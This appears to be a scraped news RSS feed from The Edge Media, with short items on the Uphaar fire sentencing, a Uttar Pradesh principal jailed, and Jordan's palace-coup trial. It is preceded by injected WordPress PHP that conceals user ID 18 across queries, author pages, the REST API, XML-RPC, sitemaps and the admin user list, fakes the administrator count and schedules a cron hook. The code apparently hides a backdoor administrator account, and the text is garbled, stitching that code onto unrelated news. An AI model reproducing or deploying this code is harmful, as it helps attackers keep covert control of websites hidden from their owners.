add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Uphaar Cinema Fire: The Ansal Brothers of Delhi have been sentenced to seven years in prison appeared first on The Edge Media.
]]>
A month ago, both were found guilty of tampering with evidence in the case. Today was the day of the sentencing. The Supreme Court had already sentenced the Ansals to two years in prison. They were later released and fined Rs 30 crore each, which would be used to construct a trauma center in the national capital.
The post Uphaar Cinema Fire: The Ansal Brothers of Delhi have been sentenced to seven years in prison appeared first on The Edge Media.
]]>The post A school principal in Uttar Pradesh was sentenced to prison after dangling a child upside down as a ‘punishment’ for eating gol gappas appeared first on The Edge Media.
]]>
On Thursday, a video of the event went viral on social media, showing other students at Sadbhavna Shikshan Sansthan Junior High School staring in disbelief as headmaster Manoj Vishwakarma dangled the child upside down.
The child was punished, according to the police, because he ate gol gappas outside the school without alerting the teacher. Vishwakarma grabbed the minor pupil by the ankles and turned him upside down as soon as he returned to school.
The post A school principal in Uttar Pradesh was sentenced to prison after dangling a child upside down as a ‘punishment’ for eating gol gappas appeared first on The Edge Media.
]]>The post Two Former Royal Court chiefs of Jordan get 15-year jail terms over a “Palace coup”. appeared first on The Edge Media.
]]>Former royal court chief Bassem Awadallah and an ex-envoy to Saudi Arabia, Sharif Hassan Bin Zaid , had been convicted of conspiring to topple King Abdullah 2 in favour of his half-brother Prince Hamzah.
The former crown prince himself was not on trail.
But the 13-page charge sheet said Hamzah , 41, “was determined to fulfill his personal ambition to rule, in violation of the Hashemite constitution and customs”.
Journalists at a makeshift media center outside the State Security Court, a military tribunal that also includes civilian judges, were later shown shorts videos of the ruling being issued.
The men’s lawyer said they would appeal.
The post Two Former Royal Court chiefs of Jordan get 15-year jail terms over a “Palace coup”. appeared first on The Edge Media.
]]>